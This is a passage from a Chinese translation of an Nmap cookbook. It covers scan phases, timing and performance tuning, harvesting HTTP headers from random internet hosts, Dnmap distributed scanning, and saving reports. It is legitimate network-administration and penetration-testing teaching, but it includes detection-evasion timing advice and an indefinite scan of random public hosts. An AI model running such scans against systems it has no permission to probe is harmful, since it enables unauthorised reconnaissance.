- 反向 DNS 解析:Nmap 执行反向 DNS 查找,因为主机名可能会透露额外的信息,比如主机名
mail.company.com
。通过在扫描参数中添加参数-n
可以跳过这一步。让我们看看使用以下命令进行反向 DNS 解析和不进行反向 DNS 解析时生成的流量:
$ nmap -n -Pn -p80 --packet-trace scanme.nmap.org
我们刚刚使用的命令给我们以下输出:
SENT (0.1832s) TCP 106.187.53.215:45748 > 74.207.244.221:80 S ttl=37 id=33309 iplen=44 seq=2623325197 win=1024 <mss 1460>
RCVD (0.2877s) TCP 74.207.244.221:80 > 106.187.53.215:45748 SA ttl=56 id=0 iplen=44 seq=3220507551 win=14600 <mss 1460>
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.10s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
要进行扫描而不跳过反向 DNS 解析,我们有以下命令:
$ nmap -Pn -p80 --packet-trace scanme.nmap.org
这个命令给我们以下输出:
NSOCK (0.0600s) UDP connection requested to 106.187.36.20:53 (IOD #1) EID 8
NSOCK (0.0600s) Read request from IOD #1 [106.187.36.20:53] (timeout: -1ms) EID 18
NSOCK (0.0600s) UDP connection requested to 106.187.35.20:53 (IOD #2) EID 24
NSOCK (0.0600s) Read request from IOD #2 [106.187.35.20:53] (timeout: -1ms) EID 34
NSOCK (0.0600s) UDP connection requested to 106.187.34.20:53 (IOD #3) EID 40
NSOCK (0.0600s) Read request from IOD #3 [106.187.34.20:53] (timeout: -1ms) EID 50
NSOCK (0.0600s) Write request for 45 bytes to IOD #1 EID 59 [106.187.36.20:53]: =............221.244.207.74.in-addr.arpa.....
NSOCK (0.0600s) Callback: CONNECT SUCCESS for EID 8 [106.187.36.20:53]
NSOCK (0.0600s) Callback: WRITE SUCCESS for EID 59 [106.187.36.20:53]
NSOCK (0.0600s) Callback: CONNECT SUCCESS for EID 24 [106.187.35.20:53]
NSOCK (0.0600s) Callback: CONNECT SUCCESS for EID 40 [106.187.34.20:53]
NSOCK (0.0620s) Callback: READ SUCCESS for EID 18 [106.187.36.20:53] (174 bytes)
NSOCK (0.0620s) Read request from IOD #1 [106.187.36.20:53] (timeout: -1ms) EID 66
NSOCK (0.0620s) nsi_delete() (IOD #1)
NSOCK (0.0620s) msevent_cancel() on event #66 (type READ)
NSOCK (0.0620s) nsi_delete() (IOD #2)
NSOCK (0.0620s) msevent_cancel() on event #34 (type READ)
NSOCK (0.0620s) nsi_delete() (IOD #3)
NSOCK (0.0620s) msevent_cancel() on event #50 (type READ)
SENT (0.0910s) TCP 106.187.53.215:46089 > 74.207.244.221:80 S ttl=42 id=23960 ip len=44 seq=1992555555 win=1024 <mss 1460>
RCVD (0.1932s) TCP 74.207.244.221:80 > 106.187.53.215:46089 SA ttl=56 id=0 iplen =44 seq=4229796359 win=14600 <mss 1460>
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.10s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
- 端口扫描:在此阶段,Nmap 确定端口的状态。默认情况下使用 SYN 扫描,但支持多种端口扫描技术。可以使用参数
-sn
跳过此阶段:
$ nmap -sn -R --packet-trace 74.207.244.221
SENT (0.0363s) ICMP 106.187.53.215 > 74.207.244.221 Echo request (type=8/code=0) ttl=56 id=36390 iplen=28
SENT (0.0364s) TCP 106.187.53.215:53376 > 74.207.244.221:443 S ttl=39 id=22228 iplen=44 seq=155734416 win=1024 <mss 1460>
SENT (0.0365s) TCP 106.187.53.215:53376 > 74.207.244.221:80 A ttl=46 id=36835 iplen=40 seq=0 win=1024
SENT (0.0366s) ICMP 106.187.53.215 > 74.207.244.221 Timestamp request (type=13/code=0) ttl=50 id=2630 iplen=40
RCVD (0.1377s) TCP 74.207.244.221:443 > 106.187.53.215:53376 RA ttl=56 id=0 iplen=40 seq=0 win=0
NSOCK (0.1660s) UDP connection requested to 106.187.36.20:53 (IOD #1) EID 8
NSOCK (0.1660s) Read request from IOD #1 [106.187.36.20:53] (timeout: -1ms) EID 18
NSOCK (0.1660s) UDP connection requested to 106.187.35.20:53 (IOD #2) EID 24
NSOCK (0.1660s) Read request from IOD #2 [106.187.35.20:53] (timeout: -1ms) EID 34
NSOCK (0.1660s) UDP connection requested to 106.187.34.20:53 (IOD #3) EID 40
NSOCK (0.1660s) Read request from IOD #3 [106.187.34.20:53] (timeout: -1ms) EID 50
NSOCK (0.1660s) Write request for 45 bytes to IOD #1 EID 59 [106.187.36.20:53]: [............221.244.207.74.in-addr.arpa.....
NSOCK (0.1660s) Callback: CONNECT SUCCESS for EID 8 [106.187.36.20:53]
NSOCK (0.1660s) Callback: WRITE SUCCESS for EID 59 [106.187.36.20:53]
NSOCK (0.1660s) Callback: CONNECT SUCCESS for EID 24 [106.187.35.20:53]
NSOCK (0.1660s) Callback: CONNECT SUCCESS for EID 40 [106.187.34.20:53]
NSOCK (0.1660s) Callback: READ SUCCESS for EID 18 [106.187.36.20:53] (174 bytes)
NSOCK (0.1660s) Read request from IOD #1 [106.187.36.20:53] (timeout: -1ms) EID 66
NSOCK (0.1660s) nsi_delete() (IOD #1)
NSOCK (0.1660s) msevent_cancel() on event #66 (type READ)
NSOCK (0.1660s) nsi_delete() (IOD #2)
NSOCK (0.1660s) msevent_cancel() on event #34 (type READ)
NSOCK (0.1660s) nsi_delete() (IOD #3)
NSOCK (0.1660s) msevent_cancel() on event #50 (type READ)
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.10s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
在上一个示例中,我们可以看到执行了 ICMP 回显请求和反向 DNS 查找,但没有进行端口扫描。
还有更多...
我建议您还运行几次测试扫描,以测量不同 DNS 服务器的速度,如果您计划执行反向 DNS 查找。我发现 ISP 倾向于拥有最慢的 DNS 服务器,但您可以通过指定参数--dns-servers
来设置您的 DNS 服务器。要使用 Google 的 DNS 服务器,请使用参数--dns-servers 8.8.8.8,8.8.4.4
:
# nmap -R --dns-servers 8.8.8.8,8.8.4.4 -O scanme.nmap.org
您可以通过比较扫描时间来测试您的 DNS 服务器速度。以下命令告诉 Nmap 不要 ping 或扫描端口,只执行反向 DNS 查找:
$ nmap -R -Pn -sn 74.207.244.221
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds
Nmap 的扫描阶段
Nmap 扫描分为以下阶段:
-
脚本预扫描:仅在使用选项
-sC
或--script
时执行此阶段,并尝试通过一组 NSE 脚本检索额外的主机信息。 -
目标枚举:在此阶段,Nmap 解析目标并将其解析为 IP 地址。
-
主机发现:这是 Nmap 确定目标是否在线并在网络中的阶段,通过执行指定的主机发现技术。可以使用选项
-Pn
跳过此阶段。 -
反向 DNS 解析:在此阶段,Nmap 执行反向 DNS 查找以获取每个目标的主机名。参数
-R
可用于强制 DNS 解析,参数-n
可用于跳过它。 -
端口扫描:在此阶段,Nmap 确定端口的状态。可以使用参数
-sn
跳过它。 -
版本检测:此阶段负责检测找到的开放端口的高级版本。仅当设置了参数
-sV
时才执行。 -
OS 检测:在此阶段,Nmap 尝试确定目标的操作系统。仅当存在选项
-O
时才执行。 -
Traceroute:在此阶段,Nmap 对目标执行路由跟踪。仅当设置了选项
--traceroute
时,此阶段才运行。 -
脚本扫描:在此阶段,根据其执行规则运行 NSE 脚本。
-
输出:在此阶段,Nmap 格式化所有收集到的信息,并以指定的格式返回给用户。
-
脚本后扫描:在此阶段,评估具有后扫描执行规则的 NSE 脚本,并有机会运行。如果默认类别中没有后扫描 NSE 脚本,则将跳过此阶段,除非指定了参数
--script
。
调试 Nmap 扫描
如果在 Nmap 扫描期间发生意外情况,请打开调试以获取更多信息。Nmap 使用标志-d
进行调试级别,并且您可以设置介于0
和9
之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
侵略性检测
Nmap 有一个特殊的标志来激活侵略性检测-A
。侵略模式启用了 OS 检测(-O
)、版本检测(-sV
)、脚本扫描(-sC
)和路由跟踪(--traceroute
)。不用说,这种模式发送了更多的探测,更容易被检测到,但提供了大量有价值的主机信息。我们可以使用以下命令之一来使用侵略模式:
# nmap -A <target>
或
# nmap -sC -sV -O <target>
另请参阅
-
扫描 IP 地址范围的方法
-
从文本文件中读取目标的方法
-
从文本文件中读取目标的方法中排除主机列表的部分
-
选择正确的时间模板的方法
-
调整时间参数的方法
-
调整性能参数的方法
-
通过使用 Dnmap 将扫描分布到多个客户端的方法
选择正确的时间模板
Nmap 包括六个模板,设置不同的时间和性能参数,以优化您的扫描。尽管 Nmap 会自动调整其中一些值,但建议您设置正确的时间模板,以提示 Nmap 提供有关您的网络连接速度和目标响应时间的信息。
以下的配方将教你关于 Nmap 的时间模板以及如何选择正确的模板。
如何做...
打开您的终端并输入以下命令以使用“aggressive”时间模板:
# nmap -T4 -d 192.168.4.20
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 500, min 100, max 1250
max-scan-delay: TCP 10, UDP 1000, SCTP 10
parallelism: min 0, max 0
max-retries: 6, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
...
您可以使用介于0
和5
之间的整数,例如-T[0-5]
。
它是如何工作的...
选项-T
用于在 Nmap 中设置时间模板。Nmap 提供了六个时间模板,帮助用户调整一些时间和性能参数。
可用的时间模板及其初始配置值如下:
- Paranoid (
-0
): 这个模板对于避开检测系统很有用,但非常慢,因为一次只扫描一个端口,探测之间的超时时间为 5 分钟。
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 300000, min 100, max 300000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 1
max-retries: 10, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
- Sneaky (
-1
): 这个模板对于避开检测系统很有用,但速度非常慢。
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 15000, min 100, max 15000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 1
max-retries: 10, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
- Polite (
-2
): 当扫描不应干扰目标系统时使用这个模板。
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 1000, min 100, max 10000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 1
max-retries: 10, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
- Normal (
-3
): 这是 Nmap 的默认时间模板,当参数-T
未设置时使用。
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 1000, min 100, max 10000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 0
max-retries: 10, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
- Aggressive (
-4
): 这是宽带和以太网连接的推荐时间模板。
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 500, min 100, max 1250
max-scan-delay: TCP 10, UDP 1000, SCTP 10
parallelism: min 0, max 0
max-retries: 6, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
- Insane (
-5
): 这个时间模板为速度而牺牲了准确性。
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 250, min 50, max 300
max-scan-delay: TCP 5, UDP 1000, SCTP 5
parallelism: min 0, max 0
max-retries: 2, host-timeout: 900000
min-rate: 0, max-rate: 0
---------------------------------------------
还有更多...
Nmap 中的交互模式允许用户按键动态更改运行时变量。尽管在开发邮件列表中已经讨论了在交互模式中包含时间和性能选项的问题几次,但在撰写本书时,还没有官方的补丁可用。但是,有一个实验性的补丁,于 2012 年 6 月提交,允许您动态更改--max-rate
和--min-rate
的值。如果您想尝试一下,可以在seclists.org/nmap-dev/2012/q2/883
找到。
另请参阅
-
跳过测试以加快长时间扫描的配方
-
调整时间参数的配方
-
收集 Web 服务器签名的配方
-
通过使用 Dnmap 在多个客户端之间分发扫描
调整时间参数
Nmap 不仅在扫描时调整自己以适应不同的网络和目标条件,而且还支持几个时间参数,可以调整以提高性能。
以下的配方描述了 Nmap 支持的时间参数。
如何做...
输入以下命令以调整相应的值:
# nmap -T4 --scan-delay 1s --initial-rtt-timeout 150ms --host-timeout 15m -d scanme.nmap.org
它是如何工作...
Nmap 支持不同的时间参数,可以调整以提高性能。重要的是要注意,设置这些值不正确很可能会损害性能,而不是改善性能。
RTT 值由 Nmap 用于知道何时放弃或重新传输探测响应。Nmap 尝试通过分析先前的响应来确定正确的值,但您可以使用参数--initial-rtt-timeout
来设置初始的 RTT 超时,如下命令所示:
# nmap -A -p- --initial-rtt-timeout 150ms <target>
此外,您可以通过设置--min-rtt-timeout
和--max-rtt-timeout
来设置最小和最大 RTT 超时值,如下命令所示:
# nmap -A -p- --min-rtt-timeout 200ms --max-rtt-timeout 600ms <target>
我们可以在 Nmap 中控制的另一个非常重要的设置是探测之间的等待时间。使用参数--scan-delay
和--max-scan-delay
分别设置等待时间和允许在探测之间等待的最长时间,如下命令所示:
# nmap -A --max-scan-delay 10s scanme.nmap.org
# nmap -A --scan-delay 1s scanme.nmap.org
请注意,先前显示的参数在避开检测机制时非常有用。小心不要将--max-scan-delay
设置得太低,因为这很可能会错过打开的端口。
还有更多...
如果您希望 Nmap 在一定时间后停止扫描,可以设置参数--host-timeout
,如下面的命令所示:
# nmap -sV -A -p- --host-timeout 5m <target>
我们刚刚使用的命令给出了以下输出:
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.00075s latency).
Skipping host scanme.nmap.org (74.207.244.221) due to host timeout
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds
要使用 Nping 估算目标和您之间的往返时间,可以使用以下命令:
# nping -c30 <target>
这将使 Nping 发送 30 个 ICMP 回显请求数据包,并在完成后显示获得的平均、最小和最大 RTT 值。
# nping -c30 scanme.nmap.org
...
SENT (29.3569s) ICMP 50.116.1.121 > 74.207.244.221 Echo request (type=8/code=0) ttl=64 id=27550 iplen=28
RCVD (29.3576s) ICMP 74.207.244.221 > 50.116.1.121 Echo reply (type=0/code=0) ttl=63 id=7572 iplen=28
Max rtt: 10.170ms | Min rtt: 0.316ms | Avg rtt: 0.851ms
Raw packets sent: 30 (840B) | Rcvd: 30 (840B) | Lost: 0 (0.00%)
Tx time: 29.09096s | Tx bytes/s: 28.87 | Tx pkts/s: 1.03
Rx time: 30.09258s | Rx bytes/s: 27.91 | Rx pkts/s: 1.00
Nping done: 1 IP address pinged in 30.47 seconds
检查往返时间并使用最大值设置正确的--initial-rtt-timeout
和--max-rtt-timeout
值。官方文档建议使用--initial-rtt-timeout
的最大 RTT 值的两倍,并且--max-rtt-timeout
的最大往返时间值的四倍。
Nmap 的扫描阶段
Nmap 扫描分为以下阶段:
-
脚本前扫描:只有在使用选项
-sC
或--script
时才执行这个阶段,并且它尝试通过一系列 NSE 脚本检索额外的主机信息。 -
目标枚举:在这个阶段,Nmap 解析目标并将其解析为 IP 地址。
-
主机发现:这是 Nmap 确定目标是否在线并在网络中的阶段,通过执行指定的主机发现技术。可以使用选项
-Pn
跳过此阶段。 -
反向 DNS 解析:在这个阶段,Nmap 执行反向 DNS 查找以获取每个目标的主机名。参数
-R
可以用于强制 DNS 解析,参数-n
可以用于跳过 DNS 解析。 -
端口扫描:在这个阶段,Nmap 确定端口的状态。可以使用参数
-sn
跳过它。 -
版本检测:这个阶段负责检测找到的开放端口的高级版本。只有在设置了参数
-sV
时才执行。 -
操作系统检测:在这个阶段,Nmap 尝试确定目标的操作系统。只有在存在选项
-O
时才执行。 -
Traceroute:在这个阶段,Nmap 对目标执行 traceroute。只有在设置了选项
--traceroute
时才运行这个阶段。 -
脚本扫描:在这个阶段,根据其执行规则运行 NSE 脚本。
-
输出:在这个阶段,Nmap 格式化所有收集到的信息,并以指定的格式返回给用户。
-
脚本后扫描:在这个阶段,评估具有后扫描执行规则的 NSE 脚本,并有机会运行。如果默认类别中没有后扫描 NSE 脚本,则除非指定了参数
--script
,否则将跳过此阶段。
调试 Nmap 扫描
如果在 Nmap 扫描期间发生意外情况,请打开调试以获取额外信息。Nmap 使用标志-d
进行调试级别,并且您可以设置 0 到 9 之间的任何整数,如下面的命令所示:
$ nmap -p80 --script http-enum -d4 <target>
另请参阅
-
扫描随机目标食谱
-
跳过测试以加快长时间扫描食谱
-
选择正确的时间模板食谱
-
调整性能参数食谱
-
收集 Web 服务器签名食谱
-
使用 Dnmap 将扫描分布在多个客户端之间食谱
调整性能参数
Nmap 不仅在扫描时调整自身以适应不同的网络和目标条件,而且还支持影响 Nmap 行为的几个参数,例如同时扫描的主机数量、重试次数和允许的探测次数。学会如何正确调整这些参数将为您节省大量的扫描时间。
以下食谱解释了可以调整以提高性能的 Nmap 参数。
如何做...
输入以下命令,根据您的需求调整值:
# nmap --min-hostgroup 100 --max-hostgroup 500 --max-retries 2 -iR 0
工作原理...
先前显示的命令告诉 Nmap 通过分组扫描和报告,不少于 100 个(--min-hostgroup 100
)和不超过 500 个主机(--max-hostgroup 500
)。它还告诉 Nmap 在放弃任何端口之前只重试两次(--max-retries 2
)。
# nmap --min-hostgroup 100 --max-hostgroup 500 --max-retries 2 -iR 0
重要的是要注意,设置这些值不正确很可能会损害性能或准确性,而不是改善它。
由于模糊或缺乏响应,Nmap 在端口扫描阶段发送了许多探测,要么数据包丢失,要么服务被过滤,要么服务未开放。默认情况下,Nmap 根据网络条件调整重试次数,但您可以通过指定参数--max-retries
手动设置这个值。通过增加重试次数,我们可以提高 Nmap 的准确性,但请记住,我们也会牺牲速度:
# nmap -p80 --max-retries 1 192.168.1.1/16
参数--min-hostgroup
和--max-hostgroup
控制我们同时探测的主机数量。请记住,报告也是基于这个值生成的,所以根据您希望多频繁地查看扫描结果来调整它。更大的组更受欢迎并提高性能:
# nmap -A -p- --min-hostgroup 100 --max-hostgroup 500 <Range>
还有一个非常重要的参数,可以用来限制 Nmap 每秒发送的数据包数量。参数--min-rate
和--max-rate
需要谨慎使用,以避免产生不良影响。如果没有设置这些参数,Nmap 会自动设置这些速率:
# nmap -A -p- --min-rate 50 --max-rate 100 <target>
最后,参数--min-parallelism
和--max-parallelism
可以用来控制对主机组的探测次数。通过设置这些参数,Nmap 将不再动态调整数值:
# nmap -A --max-parallelism 1 <target>
# nmap -A --min-parallelism 10 --max-parallelism 250 <target>
还有更多...
如果您希望 Nmap 在一定时间后停止扫描,可以设置参数--host-timeout
,如下面的命令所示:
# nmap -sV -A -p- --host-timeout 5m <target>
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.00075s latency).
Skipping host scanme.nmap.org (74.207.244.221) due to host timeout
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds
Nmap 的交互模式允许用户按键动态更改运行时变量,但在撰写本书时,尚无官方补丁可用。但是,有一个实验性补丁,于 2012 年 6 月提交,允许您动态更改--max-rate
和--min-rate
的值。您可以在seclists.org/nmap-dev/2012/q2/883
找到这个补丁。
Nmap 的扫描阶段
Nmap 扫描分为以下阶段:
-
脚本预扫描:只有在使用选项
-sC
或--script
时才执行此阶段,它试图通过一系列 NSE 脚本检索额外的主机信息。 -
目标枚举:在这个阶段,Nmap 解析目标并将其解析为 IP 地址。
-
主机发现:这是 Nmap 确定目标是否在线并在网络中的阶段,通过执行指定的主机发现技术。选项
-Pn
可以用来跳过这个阶段。 -
反向 DNS 解析:在这个阶段,Nmap 执行反向 DNS 查找以获取每个目标的主机名。参数
-R
可以用来强制 DNS 解析,参数-n
可以用来跳过它。 -
端口扫描:在这个阶段,Nmap 确定端口的状态。可以通过使用参数
-sn
来跳过它。 -
版本检测:这个阶段负责检测找到的开放端口的高级版本。只有在设置了参数
-sV
时才执行。 -
操作系统检测:在这个阶段,Nmap 尝试确定目标的操作系统。只有在存在选项
-O
时才执行。 -
跟踪路由:在这个阶段,Nmap 对目标执行跟踪路由。只有在设置了选项
--traceroute
时才运行此阶段。 -
脚本扫描:在这个阶段,根据其执行规则运行 NSE 脚本。
-
输出:在这个阶段,Nmap 格式化所有收集到的信息,并以指定的格式返回给用户。
-
脚本后扫描:在此阶段,将评估具有后扫描执行规则的 NSE 脚本,并有机会运行。如果默认类别中没有后扫描 NSE 脚本,则将跳过此阶段,除非指定了参数
--script
。
调试 Nmap 扫描
如果在 Nmap 扫描期间发生意外情况,请打开调试以获取额外信息。Nmap 使用-d
标志进行调试级别,并且可以设置任何介于0
和9
之间的整数:
$ nmap -p80 --script http-enum -d4 <target>
另请参阅
-
扫描随机目标食谱
-
跳过测试以加快长时间扫描食谱
-
选择正确的时间模板食谱
-
调整时间参数食谱
-
收集 Web 服务器的签名食谱
-
Dnmap 分布式扫描食谱
收集 Web 服务器的签名
Nmap 是信息收集的事实标准工具,Nmap 脚本引擎可以完成的各种任务令人称奇。流行的服务“ShodanHQ”(shodanhq.com
)提供了一个 HTTP 横幅数据库,用于分析漏洞的影响。其用户可以查找在线设备的数量,按国家/地区进行识别,并通过其服务横幅进行识别。ShodanHQ 使用其自己内置的工具来收集数据,但 Nmap 也非常适合这项任务。
在以下食谱中,我们将看到如何使用 Nmap 无限扫描 Web 服务器,并通过 Nmap 收集其 HTTP 标头。
如何操作...
打开您的终端并输入以下命令:
$ nmap -p80 -Pn -n -T4 --open --script http-headers,http-title --script-args http.useragent="A friend web crawler (http://someurl.com)",http-headers.useget -oX random-webservers.xml -iR 0
此命令将启动一个 Nmap 实例,该实例将无限运行,寻找端口 80 上的 Web 服务器,然后将输出保存到output.xml
。每个打开端口 80 的主机将返回类似以下内容:
Nmap scan report for XXXX
Host is up (0.23s latency).
PORT STATE SERVICE
80/tcp open http
|_http-title: Protected Object
| http-headers:
| WWW-Authenticate: Basic realm="TD-8840T"
| Content-Type: text/html
| Transfer-Encoding: chunked
| Server: RomPager/4.07 UPnP/1.0
| Connection: close
| EXT:
|
|_ (Request type: GET)
工作原理...
以下命令将告诉 Nmap 仅检查端口 80(-p80
),不进行 ping(-Pn
),不进行反向 DNS 解析(-n
),并使用侵略性时间模板(-T4
)。如果端口 80 打开,Nmap 将运行 NSE 脚本http-title
和http-headers
(--script http-headers,http-title
)。
nmap -p80 -Pn -n -T4 --open --script http-headers,http-title --script-args http.useragent="A friend web crawler (http://someurl.com)",http-headers.useget -oX random-webservers.xml -iR 0
传递的脚本参数用于设置请求中的 HTTP 用户代理(--script-args http.useragent="A friendly web crawler [http://someurl.com]"
)并使用GET
请求检索 HTTP 标头(--script-args http-headers.useget
)。
最后,参数-iR 0
告诉 Nmap 无限生成外部 IP 地址,并将结果保存在 XML 格式的文件中(-oX random-webservers.xml
)。
还有更多...
Nmap 的 HTTP 库支持缓存,但如果您计划扫描大量主机,则有一些事情需要考虑。缓存存储在一个临时文件中,每个新请求都会增加其大小。如果此文件开始变得太大,缓存查找将需要相当长的时间。
您可以通过设置库参数http-max-cache-size=0
来禁用 HTTP 库的缓存系统,如以下命令所示:
$ nmap -p80 --script http-headers --script-args http-max-cache-size=0 -iR 0
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-enum --script-args http.useragent="Mozilla 42" <target>
另请参阅
-
扫描 IP 地址范围食谱
-
从文本文件中读取目标食谱
-
扫描随机目标食谱
-
跳过测试以加快长时间扫描食谱
-
选择正确的时间模板食谱
-
调整时间参数食谱
-
调整性能参数食谱
-
Dnmap 分布式扫描食谱
使用 Dnmap 在多个客户端之间分发扫描
Dnmap 是一个在不同客户端之间分发 Nmap 扫描的优秀项目。可用的额外资源,如带宽,使我们能够在安全评估期间时间有限时更快地扫描一个或多个目标。
以下食谱将向您展示如何使用 Dnmap 执行分布式端口扫描。
准备工作
从官方 SourceForge 存储库(sourceforge.net/projects/dnmap/files/
)下载最新版本的 Dnmap。
Dnmap 依赖于 Python 的库“twisted”。如果您使用基于 Debian 的系统,可以使用以下命令安装它:
#apt-get install libssl-dev python-twisted
还值得一提的是,Nmap 并不是 Dnmap 中自包含的;我们必须在每个客户端上单独安装它。有关安装 Nmap 的说明,请参阅第一章中的从源代码编译 Nmap食谱,Nmap 基础。
如何操作...
- 创建一个包含您的 Nmap 命令的文件。每个命令必须用新行分隔。
#cat cmds.txt
nmap -sU -p1-10000 -sV scanme.nmap.org
nmap -sU -p10000-20000 -sV scanme.nmap.org
nmap -sU -p20000-30000 -sV scanme.nmap.org
nmap -sU -p40000-50000 -sV scanme.nmap.org
nmap -sU -p50001-60000 -sV scanme.nmap.org
- 启动
dnmap_server.py
:
#python dnmap_server.py -f cmds.txt
以下截图显示了 Dnmap 服务器:
Dnmap 服务器
- 在您的客户端上,运行以下命令:
#python dnmap_client.py -a client1 -s 192.168.1.1
以下截图显示了 Dnmap 服务器:
Dnmap 客户端
它是如何工作的...
Dnmap 是由 Sebastian García“el draco”从 Mateslab(mateslab.com.ar
)发布的一组 Python 脚本,用于使用服务器-客户端连接模型分发 Nmap 扫描。
来自 mateslab.com.ar 的 Dnmap 服务器-客户端模型
命令存储在一个文件中,该文件由服务器读取。脚本dnmap_server.py
处理所有传入的连接并将命令分配给客户端。每个客户端一次只执行一个 Nmap 命令。
还有更多...
此外,您可以使用参数-d [1-5]
在服务器上增加调试级别,如以下命令所示:
#python dnmap_server.py -f cmds.txt -d 5
服务器通过在文件末尾重新插入命令来处理断开连接。Dnmap 创建一个名为.dnmap-trace file
的文件,以跟踪当前进度状态。
如果服务器本身失去连接,客户端将自动尝试无限期重新连接,直到服务器恢复在线状态。
Dnmap 统计信息
Dnmap 服务器返回以下统计信息:
-
执行的命令数量
-
上次在线时间
-
正常运行时间
-
版本
-
每分钟命令及其平均值
-
用户权限
-
当前状态
另请参阅
-
扫描 IP 地址范围食谱
-
从文本文件中读取目标食谱
-
扫描随机目标食谱
-
跳过测试以加快长时间扫描食谱
-
选择正确的时间模板食谱
-
调整时间参数食谱
-
调整性能参数食谱
-
收集 Web 服务器签名食谱
第八章:生成扫描报告
注意
本章向您展示了一些在许多情况下可能是非法、不道德、违反服务条款或只是不明智的事情。它在这里提供是为了向您提供可能有用的信息,以保护自己免受威胁,并使自己的系统更安全。在遵循这些说明之前,请确保您站在合法和道德的一边...善用您的力量!
在本章中,我们将涵盖:
-
以 normal 格式保存扫描结果
-
以 XML 格式保存扫描结果
-
将扫描结果保存到 SQLite 数据库
-
以 grepable 格式保存扫描结果
-
使用 Zenmap 生成网络拓扑图
-
生成 HTML 扫描报告
-
报告扫描期间执行的漏洞检查
介绍
扫描报告对于渗透测试人员和系统管理员都很有用。渗透测试人员需要报告他们的发现,并包括目标弱点的证据。另一方面,系统管理员需要保持网络清单并监视网络的完整性。
安全专业人员和网络管理员常犯的一个错误是不使用 Nmap 的报告功能来加快生成这些报告的速度。Nmap 可以以多种格式编写扫描结果,用户可以选择生成 HTML 报告,从脚本语言中读取报告,甚至将其导入到第三方安全工具中以继续测试目标的其他方面。在本章中,我们将涵盖与存储扫描报告相关的不同任务。我们首先介绍 Nmap 支持的不同文件格式。此外,我们还会给出一些建议,比如使用 Zenmap 生成网络拓扑图,报告漏洞检查,以及使用 PBNJ 将结果存储在 MySQL、SQLite 或 CSV 数据库中。
学习本章涵盖的任务后,您应该能够熟练选择适当的文件格式来存储扫描结果,具体取决于您计划对报告执行的操作。
以 normal 格式保存扫描结果
Nmap 支持不同格式来保存扫描结果。根据您的需求,您可以在 normal、XML 和 grepable 输出之间进行选择。normal 模式将输出保存为您在屏幕上看到的样子,减去运行时调试信息。这种模式以一种结构良好且易于理解的方式呈现发现结果。
此示例向您展示了如何以 normal 模式将 Nmap 扫描结果保存到文件中。
如何做...
要将扫描结果保存到 normal 输出格式的文件中,请添加选项-oN <filename>
。此选项仅影响输出,并且可以与任何端口或主机扫描技术结合使用:
# nmap -F -oN scanme.txt scanme.nmap.org
扫描完成后,输出现在应该保存在文件scanme.txt
中:
$cat scanme.txt
# Nmap 6.02 scan initiated Thu Jun 28 23:16:32 2012 as: nmap -F -oN scanme.txt scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.47s latency).
Not shown: 95 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
# Nmap done at Thu Jun 28 23:16:37 2012 -- 1 IP address (1 host up) scanned in 5.01 seconds
工作原理...
Nmap 支持多种输出格式,如 normal、XML、grepable,甚至 script kiddie(这只是为了好玩而添加的)。normal 模式易于阅读,如果您不打算处理或解析结果,则建议使用该模式。
生成的文件将包含与屏幕上打印的相同信息,但不包括运行时警告。
还有更多...
normal 输出选项-oN
可以与任何其他可用的输出选项结合使用。例如,我们可能希望以 XML 格式生成结果,以便将其导入到第三方工具中,并以 normal 模式与同事分享:
# nmap -A -oN normal-output.txt -oX xml-output.xml scanme.nmap.org
详细标志-v
和调试标志-d
也会改变包含的信息量。您可以使用整数或重复v
或d
字符的数量来设置详细或调试级别:
# nmap -F -sV -v2 -oN nmapscan.txt scanme.nmap.org
# nmap -F -sV -vv -oN nmapscan.txt scanme.nmap.org
# nmap -F -sV -d2 -oN nmapscan-debug.txt scanme.nmap.org
# nmap -F -sV -dd -oN nampscan-debug.txt scanme.nmap.org
以所有格式保存 Nmap 的输出
Nmap 支持别名选项-oA <basename>
,它将扫描结果保存为所有可用格式——normal、XML 和 grepable。不同的文件将以扩展名.nmap
、.xml
和.grep
生成:
$ nmap -oA scanme scanme.nmap.org
运行上一个命令等同于运行以下命令:
